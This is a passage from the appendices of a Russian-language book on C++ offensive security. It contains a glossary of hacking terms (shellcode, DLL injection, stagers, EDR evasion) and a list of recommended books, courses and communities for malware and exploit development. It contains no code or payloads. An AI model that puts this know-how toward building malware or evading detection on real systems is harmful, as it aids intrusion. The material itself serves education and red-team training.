  • При работе с реальным вредоносным ПО, особенно с образцами, собранными из реальных сред, всегда относитесь к своей лаборатории так, как будто она может быть скомпрометирована.
  • Правильно настроенная лабораторная среда поможет вам безопасно исследовать поведение пейлоадов, создавать инструменты для красных команд и проверять методы уклонения - и все это при сохранении безопасности ваших данных и производственных систем.


Приложение E - Глоссарий терминов взлома и C++
Этот глоссарий служит справочником, который поможет вам быстро понять ключевые термины, часто используемые в этой книге. Независимо от того, являетесь ли вы новичком, стремящимся укрепить свои основы, или опытным разработчиком, пересматривающим основные идеи, этот раздел предназначен для четкого и точного объяснения каждой концепции.

Токен доступа (Access Token)
Объект безопасности в Windows, который идентифицирует привилегии и членство в группах пользователя. Система использует его для определения того, к каким ресурсам может получить доступ процесс или поток.
Рандомизация размещения адресного пространства (Address Space Layout Randomization, ASLR)
Механизм защиты памяти, который рандомизирует расположение исполняемого кода, стека, кучи и библиотек в памяти. Это затрудняет злоумышленникам предсказание местоположения внедренного кода или функций.

Перехват вызовов API (API Hooking)
Техника перехвата вызовов системных или библиотечных функций для мониторинга или изменения их поведения. Часто используется как вредоносным ПО, так и инструментами отладки.

Маяк (Beaconing)
Поведение, используемое бэкдорами или инструментами удаленного доступа, при котором скомпрометированный хост периодически связывается с командно-контрольным сервером для сообщения о статусе или получения инструкций.
Переполнение буфера (Buffer Overflow)
Состояние, при котором данные превышают емкость буфера, вызывая перезапись смежной памяти. Это распространенная уязвимость программного обеспечения и частая цель для эксплойтов.

Командно-контрольная инфраструктура (Command and Control, C2)
Централизованный сервер или инфраструктура, используемая злоумышленниками для связи с скомпрометированными системами и управления ими. Агент C2 - это программный имплант, установленный на машине жертвы.

Сглаживание потока управления (Control Flow Flattening)
Техника обфускации, которая реструктурирует поток выполнения кода, чтобы сделать его менее читаемым и более трудным для обратной разработки, не изменяя поведение программы.

Предотвращение выполнения данных (Data Execution Prevention, DEP)
Функция безопасности, которая помечает определенные области памяти как неисполняемые. Она помогает предотвратить атаки внедрения кода, блокируя выполнение внедренного шеллкода в сегментах данных.

Внедрение DLL (DLL Injection)
Действие принудительного загрузки динамически подключаемой библиотеки (DLL) в запущенный процесс, которую он обычно не использовал бы. Это часто используется во вредоносном ПО для выполнения вредоносного кода в контексте другого процесса.

EDR (Endpoint Detection and Response)
Продвинутые решения безопасности, которые отслеживают конечные точки на предмет подозрительного поведения, предлагая возможности обнаружения, расследования и реагирования в реальном времени.

Указатель на функцию (Function Pointer)
Указатель, который хранит адрес функции. В C++ он может использоваться для динамического вызова функций во время выполнения, что является мощным инструментом как в легитимном программном обеспечении, так и во вредоносных пейлоадах.

Распыление кучи (Heap Spraying)
Техника, используемая для заполнения кучи тщательно подготовленными данными, чтобы при возникновении эксплойта управление передавалось этим данным. Это повышает надежность эксплойтов, связанных с повреждением памяти.

Регистратор нажатий клавиш (Keylogger)
Программа или процедура, которая записывает нажатия клавиш, вводимых пользователем, часто незаметно и без разрешения. Используется для кражи учетных данных и наблюдения.

Metasploit
Широко используемая платформа для тестирования на проникновение, которая включает модули для эксплойтов, пейлоадов и пост-эксплуатации. Она упрощает тестирование уязвимостей и автоматизацию.

Опкод (Opcode)
Низкоуровневый код инструкции, который выполняет ЦП. Понимание опкодов необходимо при написании или анализе шеллкода.

Полезная нагрузка (Payload)
Код, доставляемый во время эксплуатации, который выполняет определенную задачу - например, открывает обратный шелл или создает новую учетную запись пользователя. Это часть эксплойта, которая выполняется после получения контроля.

Полиморфный код (Polymorphic Code)
Вредоносный код, который изменяет свой внешний вид каждый раз при запуске, что затрудняет его обнаружение традиционными антивирусными программами на основе сигнатур.

Арифметика указателей (Pointer Arithmetic)
Операции над адресами памяти с использованием переменных-указателей. В C++ это позволяет напрямую манипулировать памятью, что часто используется в низкоуровневом программировании и эксплуатируется в уязвимостях.

Рефлексивная загрузка DLL (Reflective DLL Loading)
Техника, которая загружает DLL в память без использования загрузчика Windows. Она избегает записи на диск и часто используется для уклонения от обнаружения.

ROP (Return-Oriented Programming)
Продвинутая техника эксплуатации, которая объединяет небольшие фрагменты легитимного кода (называемые гаджетами) для выполнения вредоносных операций без внедрения нового кода.

Песочница (Sandbox)
Изолированная среда, в которой программы могут выполняться и отслеживаться, не затрагивая хост-систему. Вредоносное ПО часто содержит проверки для обнаружения того, запущено ли оно в песочнице.

Шелкод (Shellcode)
Небольшой, тщательно написанный машинный код, используемый в эксплойтах для прямого выполнения пейлоада в памяти. Он часто включает инструкции ассемблера и избегает нулевых байтов, чтобы предотвратить разрыв строк при внедрении.

Загрузчик (Stager)
Легковесный начальный пейлоад, который загружает или скачивает более крупный пейлоад второй стадии. Загрузчики используются для уменьшения размера пейлоада и уклонения от обнаружения.

Защитный механизм стека (Stack Canary)
Механизм безопасности, который помещает случайное значение (канарейку) между стеком и управляющими данными, такими как адреса возврата. Если канарейка изменена, программа обнаруживает попытку переполнения буфера.

Использование после освобождения (Use-After-Free, UAF)
Уязвимость, при которой к памяти обращаются после ее освобождения, что потенциально позволяет злоумышленнику выполнить код или изменить поведение программы, манипулируя повторно используемой памятью.

Виртуальная память (Virtual Memory)
Техника управления памятью, которая предоставляет приложениям упрощенное представление памяти, в то время как ОС управляет физической памятью за кулисами. Это основная концепция изоляции и выполнения процессов.

x64dbg
Открытый, удобный отладчик для приложений Windows. Он широко используется в обратной разработке и анализе вредоносного ПО.
К этому глоссарию можно обращаться в любой момент во время чтения книги для уточнения терминов. Важно полностью усвоить эти определения, поскольку они составляют технический язык, лежащий в основе каждого вектора атаки, механизма защиты и техники C++, обсуждаемых в книге.

Приложение F - Рекомендуемая литература и учебные ресурсы

Чтобы углубить свои знания в области наступательной безопасности на основе C++, важно постоянно изучать авторитетные книги, участвовать в практических учебных пособиях и следить за активными сообществами. В этом приложении представлены тщательно отобранные надежные ресурсы, которые дополняют техники и концепции, представленные в этой книге. Каждый из них выбран на основе его практической значимости, ясности и соответствия текущим практикам кибербезопасности.

Книги

  • "Practical Malware Analysis" Майкла Сикорски и Эндрю Хонига
  • Это фундаментальный труд для всех, кто хочет понять, как ведет себя вредоносное ПО и как его можно подвергнуть обратной разработке. Он охватывает все: от статического и динамического анализа до техник отладки, которые тесно связаны с темами разработки вредоносного ПО, рассматриваемыми в этой книге.
  • "Hacking: The Art of Exploitation" Джона Эриксона
  • Эта книга является классикой для изучения того, как работают программные уязвимости на двоичном и ассемблерном уровне. Она рассматривает концепции программирования на C и то, как злоумышленники используют эти основы для эксплуатации систем. Ее практический подход делает ее очень рекомендуемым дополнительным ресурсом.
  • "Rootkits: Subverting the Windows Kernel" Грега Хоглунда и Джейми Батлера
  • Если вас интересует скрытное вредоносное ПО, операции на уровне ядра и продвинутые методы сокрытия, эта книга является одним из лучших доступных справочников. Она требует прочной основы в C и внутренних механизмах Windows.
  • "Windows Internals" Марка Руссиновича, Дэвида Соломона и Алекса Ионеску
  • Понимание того, как операционная система Windows работает изнутри, необходимо для создания эффективного вредоносного ПО и контрмер. Эта книга подробно рассматривает ядро, управление памятью, потоки, процессы и многое другое.
  • "The Art of Memory Forensics" Майкла Хейла Лайта, Эндрю Кейса, Джейми Леви и Аарона Уолтерса Эта книга посвящена анализу дампов памяти и криминалистических артефактов, что очень важно для понимания поведения вредоносного ПО и способов его обнаружения в памяти.


Онлайн-курсы и учебные пособия

OpenSecurityTraining.info
Эта платформа предоставляет один из самых глубоких, технических и бесплатных учебных материалов по обратной разработке, разработке эксплойтов и анализу вредоносного ПО. Их курсы "Введение в x86" и "Продвинутый x86" особенно полезны.

Hack The Box и TryHackMe
Обе эти платформы предлагают реальные виртуальные лаборатории для изучения наступательных техник. Hack The Box предлагает более продвинутые задачи, в то время как TryHackMe предлагает более управляемое обучение. Используйте их для применения ваших пейлоадов и инструментов на C++ в изолированной среде.

Workshop по обратной разработке от Malware Unicorn
Эта серия бесплатных мастер-классов охватывает такие инструменты, как IDA, x64dbg, и техники статического анализа. Она доступна для начинающих, но при этом ценна для аналитиков среднего уровня.

Курсы Offensive Security по разработке эксплойтов и продвинутым веб-атакам
OffSec предлагает платные сертификации, такие как OSED и OSWE, которые предоставляют глубокие практические знания и лабораторные работы. Они могут быть полезны, если вы хотите продемонстрировать свои навыки профессионально.

Форумы сообществ и блоги
Stack Overflow и Stack Exchange Security
Это отличные места, чтобы задать конкретные вопросы о C++, API, концепциях безопасности и поведении вредоносного ПО.
Reddit (r/ReverseEngineering, r/netsec, r/AskNetsec)
Эти сообщества часто делятся инструментами, исследовательскими работами, техническими статьями и руководствами, связанными с вредоносным ПО, обратной разработкой и внутренними механизмами C++.

GitHub
Многие разработчики и исследователи публикуют свои инструменты, загрузчики, генераторы пейлоадов и кодировщики шеллкода на GitHub. Изучайте, как они построены, и попробуйте модифицировать их в качестве учебного упражнения.


Блоги FireEye, SentinelOne, CrowdStrike
Эти компании часто публикуют подробные отчеты об угрозах, включая реальные примеры вредоносных кампаний. Эти сведения полезны как для изучения методов злоумышленников, так и для получения актуальной информации о современных методах обнаружения.

Документация и спецификации
Microsoft Developer Network (MSDN)
Это официальный источник документации по API Windows. Понимание работы таких функций, как CreateRemoteThread, VirtualAlloc, WriteProcessMemory и других, необходимо для низкоуровневой разработки.

Справочник по Win32 API
Для C++ разработчиков, работающих под Windows, этот справочник незаменим. Он предоставляет технические спецификации для всех системных вызовов, включая их параметры, возвращаемые значения и поведение при обработке ошибок.

Документация по стандарту C++
Обратитесь к cppreference.com для получения точных объяснений возможностей C++, конструкций языка, стандартных библиотек и функций управления памятью. Это особенно полезно при написании переносимого или высокопроизводительного кода.

Эти ресурсы можно использовать параллельно с данной книгой, независимо от того, создаете ли вы лабораторию, пишете свой первый загрузчик вредоносного ПО или готовитесь к участию в атаке в рамках red team. Лучший способ закрепить знания - это последовательное применение их на практике, работа в безопасных средах и постоянное отслеживание развивающихся инструментов и методов.